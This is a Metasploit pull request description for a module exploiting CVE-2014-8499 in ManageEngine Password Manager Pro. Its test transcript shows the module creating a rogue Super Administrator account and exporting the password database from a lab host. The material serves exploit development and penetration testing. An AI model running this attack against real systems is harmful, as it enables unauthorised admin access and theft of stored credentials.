Clean exploit for CVE-2014-8499 - PMP privesc + password disclosure

Hi @pedrib,

This pull request tries to make minor clean up on https://github.com/rapid7/metasploit-framework/pull/4155. Feel free to review, comment anything, and land once feel comfortable. https://github.com/rapid7/metasploit-framework/pull/4155 will be automatically updated and mostly ready to go. Feel free to add OSVDB identifier when available. But it's not an stopper to land this one:

Test:

```
msf > use auxiliary/admin/http/manageengine_pmp_privesc
msf auxiliary(manageengine_pmp_privesc) > set rhost 172.16.158.132
rhost => 172.16.158.132
msf auxiliary(manageengine_pmp_privesc) > check
[*] 172.16.158.132:7272 - The target appears to be vulnerable.
msf auxiliary(manageengine_pmp_privesc) > run

[+] 172.16.158.132:7272 - Created a new Super Administrator with username: azvevk | password: XX3rTsjOcJ
[*] 172.16.158.132:7272 - Reporting Super Administrator credentials...
[*] 172.16.158.132:7272 - Leaking Password database...
[+] 172.16.158.132:7272 - Successfully exported password database from Password Manager Pro.
[*] 172.16.158.132:7272 - Password database saved in: /Users/jvazquez/.msf4/loot/20141110112730_test_manageengin_172.16.158.132_manageengine.pas_049476.txt
[*] Auxiliary module execution completed
msf auxiliary(manageengine_pmp_privesc) > creds
Credentials
===========

host            service           public      private  realm  private_type
----            -------           ------      -------  -----  ------------
172.16.158.132  7272/tcp (https)  XX3rTsjOcJ  azvevk          Password

msf auxiliary(manageengine_pmp_privesc) > cat /Users/jvazquez/.msf4/loot/20141110112730_test_manageengin_172.16.158.132_manageengine.pas_049476.txt
[*] exec: cat /Users/jvazquez/.msf4/loot/20141110112730_test_manageengin_172.16.158.132_manageengine.pas_049476.txt

#Resource Name,DNS Name,Description,Department,Location,OS Type,Resource URL,User Account,Password,Notes
mail_server,172.16.158.1,,,,Windows,,admin,test,null

```